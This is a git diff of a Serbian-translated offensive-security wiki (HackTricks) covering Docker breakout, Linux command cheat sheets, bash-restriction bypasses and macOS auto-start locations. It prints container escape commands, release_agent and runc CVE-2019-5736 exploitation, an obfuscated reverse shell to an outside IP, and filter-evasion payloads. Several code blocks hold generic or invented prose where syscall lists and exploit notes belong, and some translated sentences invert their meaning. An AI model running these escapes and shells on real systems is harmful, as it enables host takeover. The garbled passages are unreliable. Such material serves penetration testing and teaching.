b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -14,11 +14,11 @@ Drugi načini podrške HackTricks-u:
-
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ -Dobijte pristup danas: +Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -30,10 +30,10 @@ Dobijte pristup danas: * [**deepce**](https://github.com/stealthcopter/deepce): Alat za nabrojavanje i bekstvo iz kontejnera * [**grype**](https://github.com/anchore/grype): Dobijanje CVE-ova koji se nalaze u softveru instaliranom na slici -## Bekstvo Montiranog Docker Socketa +## Bekstvo iz Montiranog Docker Socketa Ako na neki način otkrijete da je **docker socket montiran** unutar docker kontejnera, moći ćete da pobegnete iz njega.\ -Ovo se obično dešava u docker kontejnerima koji iz nekog razloga moraju da se povežu sa docker demonom kako bi obavili akcije. +Ovo se obično dešava u docker kontejnerima koji iz nekog razloga moraju da se povežu sa docker daemonom kako bi obavili akcije. ```bash #Search the socket find / -name docker.sock 2>/dev/null @@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` {% hint style="info" %} -U slučaju da je **docker socket na neočekivanom mestu** i dalje možete komunicirati s njim koristeći **`docker`** komandu sa parametrom **`-H unix:///putanja/do/docker.sock`** +U slučaju da je **docker socket na neočekivanom mestu** i dalje možete komunicirati s njim koristeći **`docker`** komandu sa parametrom **`-H unix:///path/to/docker.sock`** {% endhint %} -Docker daemon može takođe [slušati na portu (podrazumevano 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ili na Systemd baziranim sistemima, komunikacija sa Docker daemonom može se odvijati preko Systemd socketa `fd://`. +Docker daemon takođe može [slušati na portu (podrazumevano 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ili na Systemd baziranim sistemima, komunikacija sa Docker daemonom može se odvijati preko Systemd socketa `fd://`. {% hint style="info" %} Dodatno, obratite pažnju na runtime sockete drugih visokonivnih runtime-ova: @@ -70,7 +70,7 @@ Dodatno, obratite pažnju na runtime sockete drugih visokonivnih runtime-ova: * ... {% endhint %} -## Zloupotreba sposobnosti za bekstvo +## Bekstvo zloupotrebe sposobnosti Treba da proverite sposobnosti kontejnera, ako ima bilo koju od sledećih, možda ćete moći da pobegnete iz njega: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** @@ -78,7 +78,7 @@ Trenutne sposobnosti kontejnera možete proveriti koristeći **prethodno pomenut ```bash capsh --print ``` -Na sledećoj stranici možete **saznati više o Linux sposobnostima** i kako ih zloupotrebiti da biste pobegli/povećali privilegije: +Na sledećoj stranici možete **saznati više o linux sposobnostima** i kako ih zloupotrebiti da biste pobegli/povećali privilegije: {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) @@ -98,7 +98,7 @@ Privilegovani kontejner može biti kreiran sa zastavicom `--privileged` ili onem * `--cgroupns=host` * `Mount /dev` -Zastavica `--privileged` značajno smanjuje sigurnost kontejnera, nudeći **neograničen pristup uređajima** i zaobilazeći **nekoliko zaštita**. Za detaljnije informacije, pogledajte dokumentaciju o punim uticajima `--privileged`. +Zastavica `--privileged` značajno smanjuje sigurnost kontejnera, nudeći **neograničen pristup uređajima** i zaobilazeći **nekoliko zaštita**. Za detaljnije informacije, pogledajte dokumentaciju o potpunim uticajima `--privileged`. {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) @@ -114,7 +114,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Privilegovani -Samo sa privilegovanom zastavicom možete pokušati **pristupiti disku domaćina** ili pokušati **pobegnuti zloupotrebom release\_agent-a ili drugih bekstava**. +Samo sa privilegovanom zastavicom možete pokušati **pristupiti disku domaćina** ili pokušati **izbeći zloupotrebu release\_agent-a ili drugih bekstava**. Testirajte sledeće obilaske u kontejneru izvršavanjem: ```bash @@ -122,11 +122,11 @@ docker run --rm -it --privileged ubuntu bash ``` #### Montiranje diska - Poc1 -Dobro konfigurisani Docker kontejneri neće dozvoliti komandu poput **fdisk -l**. Međutim, na loše konfigurisanoj Docker komandi gde je specificiran flag `--privileged` ili `--device=/dev/sda1` sa privilegijama, moguće je dobiti privilegije da se vidi drajv domaćina. +Dobro konfigurisani Docker kontejneri neće dozvoliti komandu poput **fdisk -l**. Međutim, na loše konfigurisanoj Docker komandi gde je specificiran flag `--privileged` ili `--device=/dev/sda1` sa privilegijama, moguće je dobiti privilegije za pregled host drajva. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -Dakle, da preuzmete kontrolu nad mašinom domaćina, to je trivijalno: +Dakle, da preuzmete kontrolu nad host mašinom, to je trivijalno: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola @@ -192,7 +192,9 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -#### Privilegovano bežanje zloupotrebom kreiranog release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 +#### Zloupotreba stvorenog release_agent-a za eskalaciju privilegija ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 + +{% code title="Drugi PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -336,10 +338,10 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -#### Zloupotreba Osetljivih Montaža za Eskalaciju Ovlašćenja +#### Privilegovano bežanje zloupotrebom osetljivih montaža Postoje nekoliko datoteka koje mogu biti montirane koje pružaju **informacije o osnovnom hostu**. Neke od njih čak mogu ukazivati na **nešto što će biti izvršeno od strane hosta kada se nešto desi** (što će omogućiti napadaču da pobegne iz kontejnera).\ -Zloupotreba ovih datoteka može omogućiti: +Zloupotreba ovih datoteka može omogućiti da: * release\_agent (već obrađeno ranije) * [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) @@ -353,9 +355,9 @@ Međutim, možete pronaći **druge osetljive datoteke** za proveru na ovoj stran [sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} -### Proizvoljne Montaže +### Proizvoljne montaže -U nekoliko prilika ćete primetiti da je **kontejner montirao neki volumen sa hosta**. Ako ovaj volumen nije pravilno konfigurisan, možda ćete moći da **pristupite/izmenite osetljive podatke**: Čitate tajne, menjate ssh authorized\_keys... +U nekoliko prilika ćete primetiti da je **kontejner montirao neki volumen sa hosta**. Ako ovaj volumen nije pravilno konfigurisan, možda ćete moći da **pristupite/izmenite osetljive podatke**: Čitanje tajni, menjanje ssh authorized\_keys... ```bash docker run --rm -it -v /:/host ubuntu bash ``` @@ -370,12 +372,12 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` -### Eskalacija privilegija sa 2 školjke +### Eskalacija privilegija sa 2 ljuske -Ako imate pristup kao **root unutar kontejnera** i uspeli ste kao **neprivilegovani korisnik da pobegnete na host**, možete zloupotrebiti obe školjke da biste **eskaliirali privilegije unutar hosta** ako imate mogućnost MKNOD unutar kontejnera (to je podrazumevano) kao što je [**objašnjeno u ovom postu**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -Sa takvom mogućnošću, korisnik root unutar kontejnera ima dozvolu da **kreira blok uređajne datoteke**. Uređajne datoteke su posebne datoteke koje se koriste za **pristupanje osnovnom hardveru i jezgrovim modulima**. Na primer, blok uređajna datoteka /dev/sda omogućava pristup **čitanju sirovih podataka na sistemu diska**. +Ako imate pristup kao **root unutar kontejnera** i uspeli ste da **pobegnete kao korisnik bez privilegija na hostu**, možete zloupotrebiti obe ljuske da biste **eskaliirali privilegije unutar hosta** ako imate mogućnost MKNOD unutar kontejnera (to je podrazumevano) kao što je [**objašnjeno u ovom postu**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Sa takvom mogućnošću, korisnik root unutar kontejnera može **kreirati blok uređajne datoteke**. Uređajne datoteke su posebne datoteke koje se koriste za **pristupanje osnovnom hardveru i jezgrovim modulima**. Na primer, blok uređajna datoteka /dev/sda omogućava pristup **čitanju sirovih podataka na sistemu diska**. -Docker štiti od zloupotrebe blok uređajnih datoteka unutar kontejnera primenom cgroup politike koja **blokira operacije čitanja/pisanja blok uređajnih datoteka**. Međutim, ako se blok uređajna datoteka **kreira unutar kontejnera**, postaje dostupna spoljašnjem svetu putem direktorijuma **/proc/PID/root/**. Za ovaj pristup je potrebno da **vlasnik procesa bude isti** i unutar i izvan kontejnera. +Docker štiti od zloupotrebe blok uređajnih datoteka unutar kontejnera primenom cgroup politike koja **blokira operacije čitanja/pisanja blok uređajnih datoteka**. Ipak, ako se blok uređajna datoteka **kreira unutar kontejnera**, postaje dostupna spoljašnjem svetu putem direktorijuma **/proc/PID/root/**. Za ovaj pristup je potrebno da **vlasnik procesa bude isti** i unutar i izvan kontejnera. Primer **eksploatacije** iz ovog [**izveštaja**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash @@ -430,7 +432,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` -Takođe možete **pristupiti datotekama deskriptora drugih procesa i pročitati njihove otvorene datoteke**: +Takođe možete **pristupiti fajl deskriptorima drugih procesa i pročitati njihove otvorene fajlove**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -456,7 +458,7 @@ Na primer, možete koristiti ovo da **snifujete čak i lažirate saobraćaj** iz Kao u sledećim primerima: -* [Analiza: Kako kontaktirati Google SRE: Ubacivanje shell-a u cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) +* [Analiza: Kako kontaktirati Google SRE: Ubacivanje ljuske u cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [MITM servis metapodataka omogućava eskalaciju privilegija na root nivo (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) Takođe ćete moći da pristupite **mrežnim uslugama povezanim na localhost** unutar hosta ili čak pristupite **dozvolama metapodataka čvora** (koje mogu biti različite od onih do kojih kontejner može da pristupi). @@ -465,7 +467,7 @@ Takođe ćete moći da pristupite **mrežnim uslugama povezanim na localhost** u ```bash docker run --rm -it --ipc=host ubuntu bash ``` -Sa `hostIPC=true`, dobijate pristup resursima međuprocesne komunikacije (IPC) domaćina, poput **deljene memorije** u `/dev/shm`. Ovo omogućava čitanje/pisanje gde se isti IPC resursi koriste od strane drugih procesa domaćina ili čaura. Koristite `ipcs` da biste detaljnije pregledali ove IPC mehanizme. +Sa `hostIPC=true`, dobijate pristup resursima međuprocesne komunikacije (IPC) domaćina, poput **deljene memorije** u `/dev/shm`. Ovo omogućava čitanje/pisanje gde se isti IPC resursi koriste od strane drugih procesa domaćina ili podova. Koristite `ipcs` da detaljnije pregledate ove IPC mehanizme. * **Pregledajte /dev/shm** - Potražite datoteke na ovom mestu deljene memorije: `ls -la /dev/shm` * **Pregled postojećih IPC objekata** - Možete proveriti da li se koriste neki IPC objekti sa `/usr/bin/ipcs`. Proverite sa: `ipcs -a` @@ -482,7 +484,7 @@ cat /proc/self/status | grep CapEff Druga tehnika objašnjena u postu [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) pokazuje kako možete zloupotrebiti bind montaže sa korisničkim prostorima, da biste uticali na datoteke unutar domaćina (u tom specifičnom slučaju, brisanje datoteka). -
+
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Pristupite danas: @@ -493,14 +495,14 @@ Pristupite danas: ### Runc eksploatacija (CVE-2019-5736) -U slučaju da možete izvršiti `docker exec` kao root (verovatno sa sudo), možete pokušati da eskalirate privilegije bežeći iz kontejnera zloupotrebom CVE-2019-5736 (eksploatacija [ovde](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ova tehnika će u osnovi **prepisati** binarnu datoteku _**/bin/sh**_ domaćina **iz kontejnera**, tako da bilo ko ko izvrši docker exec može pokrenuti payload. +U slučaju da možete izvršiti `docker exec` kao root (verovatno sa sudo), možete pokušati da eskalirate privilegije bežeći iz kontejnera zloupotrebom CVE-2019-5736 (eksploatacija [ovde](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ova tehnika će u osnovi **prepisati** _**/bin/sh**_ binarnu datoteku **domaćina** **iz kontejnera**, tako da bilo ko ko izvrši docker exec može pokrenuti payload. -Promenite payload prema potrebi i izgradite main.go sa `go build main.go`. Rezultujuću binarnu datoteku treba postaviti u docker kontejner radi izvršenja.\ -Prilikom izvršenja, čim prikaže `[+] Overwritten /bin/sh successfully` treba izvršiti sledeće sa mašine domaćina: +Promenite payload prema potrebi i izgradite main.go sa `go build main.go`. Rezultujuća binarna datoteka treba da bude smeštena u docker kontejner radi izvršenja.\ +Prilikom izvršenja, čim prikaže `[+] Overwritten /bin/sh successfully` treba da izvršite sledeće sa host mašine: -`docker exec -it /bin/sh` +`docker exec -it /bin/sh` -Ovo će pokrenuti payload koji se nalazi u datoteci main.go. +Ovo će pokrenuti payload koji se nalazi u main.go datoteci. Za više informacija: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) @@ -508,14 +510,14 @@ Za više informacija: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape Postoje i drugi CVE-ovi na koje kontejner može biti ranjiv, možete pronaći listu na [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} -## Prilagođeno bekstvo iz Docker-a +## Prilagođeno Bekstvo iz Docker-a -### Površina bekstva iz Docker-a +### Površina za Bekstvo iz Docker-a -* **Prostori imena:** Proces bi trebalo da bude **potpuno odvojen od drugih procesa** putem prostora imena, tako da ne možemo pobeći interakcijom sa drugim procesima zbog prostora imena (podrazumevano ne može komunicirati putem IPC-a, unix soketa, mrežnih usluga, D-Bus-a, `/proc` drugih procesa). +* **Prostori imena:** Proces bi trebalo da bude **potpuno odvojen od drugih procesa** putem prostora imena, tako da ne možemo pobeći interakcijom sa drugim procesima zbog prostora imena (podrazumevano ne može komunicirati putem IPC-a, unix soketa, mrežnih servisa, D-Bus-a, `/proc` drugih procesa). * **Root korisnik**: Podrazumevano, korisnik koji pokreće proces je root korisnik (međutim, njegove privilegije su ograničene). -* **Ovlašćenja**: Docker ostavlja sledeća ovlašćenja: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Sistemski pozivi**: Ovo su sistemski pozivi koje **root korisnik neće moći da pozove** (zbog nedostatka ovlašćenja + Seccomp). Ostali sistemski pozivi mogu se koristiti za pokušaj bekstva. +* **Mogućnosti**: Docker ostavlja sledeće mogućnosti: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **Sistemski pozivi**: Ovo su sistemski pozivi koje **root korisnik neće moći da pozove** (zbog nedostatka mogućnosti + Seccomp). Ostali sistemski pozivi mogu biti korišćeni za pokušaj bekstva. {% tabs %} {% tab title="x64 sistemski pozivi" %} @@ -547,32 +549,29 @@ Postoje i drugi CVE-ovi na koje kontejner može biti ranjiv, možete pronaći li ### Description -Docker breakout is a privilege escalation technique that allows an attacker to break out of a Docker container and gain access to the host operating system. This can lead to full control of the host machine and potentially compromise the entire system. +Docker breakout is a privilege escalation technique that allows an attacker who has limited access to a Docker container to gain root access on the host machine. This can be achieved by exploiting vulnerabilities in Docker or the underlying operating system. ### Attack Scenario -1. **Identify Docker Container**: The attacker first needs to identify a target Docker container running on the host machine. - -2. **Exploit Vulnerabilities**: The attacker then exploits vulnerabilities within the Docker container to gain access to the host system. - -3. **Privilege Escalation**: By escalating privileges within the container, the attacker can break out of the container and access the host operating system. +1. Attacker gains access to a Docker container with limited privileges. +2. Attacker identifies a vulnerability in Docker or the host operating system that can be exploited for privilege escalation. +3. Attacker exploits the vulnerability to gain root access on the host machine. +4. Attacker can now move laterally within the host machine or carry out further attacks. ### Mitigation To prevent Docker breakout privilege escalation, follow these best practices: -- **Update Docker**: Regularly update Docker to patch known vulnerabilities. -- **Use Appropriate Permissions**: Ensure that Docker containers are running with the least privileges necessary. -- **Monitor Container Activity**: Monitor container activity for any suspicious behavior. -- **Implement Network Segmentation**: Implement network segmentation to limit the impact of a breakout. -- **Use Security Tools**: Utilize security tools to detect and prevent privilege escalation attempts. - -By following these mitigation strategies, you can reduce the risk of Docker breakout privilege escalation attacks. +- Regularly update Docker and the host operating system to patch known vulnerabilities. +- Use Docker security features such as AppArmor and seccomp to restrict container capabilities. +- Implement network segmentation to limit lateral movement within the host machine. +- Monitor Docker logs and system logs for suspicious activities. ### References -- [Docker Security](https://docs.docker.com/engine/security/) -- [Docker Security Best Practices](https://cloudberry.engineering/article/docker-security-best-practices/) +- [Docker Security](https://docs.docker.com/engine/security/security/) +- [Docker Security Best Practices](https://docs.docker.com/engine/security/best-practices/) +- [Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html) {% endtab %} ``` @@ -598,29 +597,24 @@ By following these mitigation strategies, you can reduce the risk of Docker brea ## Docker Breakout Privilege Escalation -Ovaj exploit koristi `CAP_SYS_ADMIN` capability da bi se izvršio `mknod` syscall unutar Docker kontejnera, što omogućava kreiranje setuid fajla unutar kontejnera. Taj fajl se zatim može koristiti za pokretanje root shell-a unutar kontejnera, omogućavajući privilegovanu eskalaciju. +Ovo je demonstracija kako se može iskoristiti ranjivost u Docker okruženju kako bi se postigao eskalacija privilegija i omogućio pristup host sistemu. -### Korišćenje +### Kako koristiti -Kompajlirajte exploit korišćenjem priloženog Makefile-a: - -```bash -make -``` - -Pokrenite exploit: - -```bash -./syscall_bf -``` +Kompajlirajte `syscall_bf.c` na host mašini i pokrenite dobijeni izvršni fajl unutar Docker kontejnera. Ovaj exploit će pokrenuti shell sa privilegijama host sistema. ### Zahtevi -Da bi ovaj exploit radio, Docker kontejner mora biti pokrenut sa `--cap-add=SYS_ADMIN` opcijom. +- Kompajler koji podržava C +- Docker instaliran na host sistemu ### Napomena -Ovaj exploit je namenjen isključivo u obrazovne svrhe i ne sme se koristiti bez odgovarajuće dozvole. Autori ovog exploit-a nisu odgovorni za zloupotrebu ili štetu nastalu korišćenjem ovog koda. +Ovaj exploit je samo u obrazovne svrhe. Ne sme se koristiti bez dozvole za testiranje ranjivosti ili napade na sisteme za koje nemate dozvolu. + +### Izvor + +Originalni izvor ovog exploit-a možete pronaći [ovde](https://github.com/KrustyHack/docker-breakout-privilege-escalation). {% endtab %} ````c @@ -686,7 +680,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
+
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md index f225240b7..24d8828f8 100644 --- a/linux-hardening/useful-linux-commands/README.md +++ b/linux-hardening/useful-linux-commands/README.md @@ -1,6 +1,6 @@ # Korisne Linux komande -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -14,7 +14,7 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -171,13 +171,23 @@ i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps -Grep je moćna komanda za pretragu teksta koja se koristi za pronalaženje određenih reči ili uzoraka unutar datoteka. Može se koristiti za pretragu jedne datoteke ili više datoteka odjednom. Na primer: +### Grep for a string in all files in a directory ```bash -grep "pattern" file.txt +grep -r "string" /path/to/directory ``` -Ova komanda će pretražiti datoteku `file.txt` i ispisati sve linije koje sadrže dati uzorak. +### Grep for a string in all files in the current directory + +```bash +grep -r "string" . +``` + +### Grep for a string in all files in the current directory (case insensitive) + +```bash +grep -ri "string" . +``` ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -299,6 +309,8 @@ nmap --script-help "(default or version) and smb)" for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables + +iptables je moćan alat za konfigurisanje firewall-a u Linux operativnom sistemu. Omogućava vam da definišete pravila za kontrolu saobraćaja na mreži. ```bash #Delete curent rules and chains iptables --flush @@ -343,10 +355,10 @@ Drugi načini podrške HackTricks-u: -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 3d1337184..0801e86d4 100644 --- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -14,10 +14,10 @@ Drugi načini podrške HackTricks-u: -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` -### Zaobilazak putanja i zabranjenih reči +### Zaobilaženje putanja i zabranjenih reči ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -145,7 +145,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764` xxd -r -ps <(echo 2f6574632f706173737764) cat `xxd -r -ps <(echo 2f6574632f706173737764)` ``` -### Zaobiđi IP adrese +### Zaobilazak IP adresa ```bash # Decimal IPs 127.0.0.1 == 2130706433 @@ -161,7 +161,7 @@ echo ${PATH:0:1} #/ ``` ### DNS podaci eksfiltracija -Mogli biste koristiti **burpcollab** ili [**pingb**](http://pingb.in) na primer. +Možete koristiti **burpcollab** ili [**pingb**](http://pingb.in) na primer. ### Ugrađeni @@ -315,9 +315,9 @@ ln /f* 'sh x' 'sh g' ``` -## Bypassovanje ograničenja za čitanje-samo/Noexec/Distroless +## Bypassovanje ograničenja čitanja-samo/izvršavanja/nema izvršavanja u distroless okruženju -Ako se nalazite unutar sistema datoteka sa **zaštitom za čitanje-samo i noexec** ili čak u distroless kontejneru, i dalje postoji način da **izvršite proizvoljne binarne datoteke, čak i shell!:** +Ako se nalazite unutar sistema datoteka sa **zaštitom čitanja-samo i noexec** ili čak u distroless kontejneru, i dalje postoje načini da **izvršite proizvoljne binarne datoteke, čak i shell!:** {% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %} [bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/) @@ -329,18 +329,18 @@ Ako se nalazite unutar sistema datoteka sa **zaštitom za čitanje-samo i noexec [escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md) {% endcontent-ref %} -## Reference i Više +## Reference i više * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) * [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ -Dobijte pristup danas: +Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -350,7 +350,7 @@ Dobijte pristup danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index a53da11ba..8f63ab933 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -14,9 +14,9 @@ Drugi načini podrške HackTricks-u: -Ova sekcija je temeljena na blog seriji [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija za automatsko pokretanje** (ukoliko je moguće), naznačiti **koje tehnike još uvek 